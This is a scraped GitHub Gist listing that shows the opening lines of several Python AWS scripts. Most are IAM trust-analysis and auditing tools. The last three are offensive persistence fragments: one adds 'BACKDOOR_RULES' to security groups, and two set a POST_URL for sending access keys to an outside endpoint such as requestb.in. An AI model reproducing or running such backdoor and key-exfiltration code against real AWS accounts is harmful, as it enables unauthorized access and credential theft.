This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
AWS Identity Collector: Extract Trust and Privilege Data Across Accounts | |
This script collects identity and access metadata from one or more AWS accounts, | |
including IAM roles, IAM users, SSO (AWS IAM Identity Center) users, and their policies. | |
It’s used as a precursor for analyzing trust relationships and admin-equivalent access | |
across AWS environments. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
AWS Trust Graph Analyzer | |
This script analyzes AWS IAM trust relationships across accounts, roles, users, and SSO principals. | |
It builds a graph of `sts:AssumeRole` relationships, identifies roles with admin-level privileges, | |
and traces trust chains to help you understand who really has root-equivalent access in your AWS environment. | |
The tool supports multiple output formats, including: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import json, time, requests, re, argparse, os, boto3 | |
def main(args): | |
print("> Started...") | |
if args.verbose: | |
print(f"^ Args: {args}") | |
s3_bucket = None | |
if args.s3_bucket: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import requests, argparse | |
import xml.etree.ElementTree as ET | |
SITEMAP_URI = 'https://docs.aws.amazon.com/sitemap_index.xml' | |
def main(): | |
get_sitemap_and_parse(SITEMAP_URI) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from __future__ import print_function | |
import boto3 | |
import base64 | |
client = boto3.client(service_name='ec2', region_name='us-east-1') | |
for region in client.describe_regions()['Regions']: | |
ec2 = boto3.resource(service_name='ec2', region_name=region['RegionName']) | |
for instance in ec2.instances.all(): | |
response = instance.describe_attribute(Attribute='userData') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from __future__ import print_function | |
import boto3 | |
from botocore.exceptions import ClientError | |
import json | |
import argparse | |
def main(args): | |
for line in args.key_file.readlines(): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from __future__ import print_function | |
import json | |
import boto3 | |
import random | |
# A list of rules to add at random to security groups. | |
BACKDOOR_RULES = [ | |
{ 'FromPort': 0, 'ToPort': 65535, 'CidrIp': '127.0.0.1/32', 'IpProtocol': '-1'} | |
] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from __future__ import print_function | |
import json | |
import boto3 | |
from botocore.exceptions import ClientError | |
import requests | |
import random | |
# An endpoint to send access keys to, e.g. http://requestb.in/ | |
POST_URL = 'https://...' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from __future__ import print_function | |
import json | |
import boto3 | |
from botocore.exceptions import ClientError | |
import requests | |
# An endpoint to send access keys to, e.g. http://requestb.in/ | |
POST_URL = 'https://...' |
NewerOlder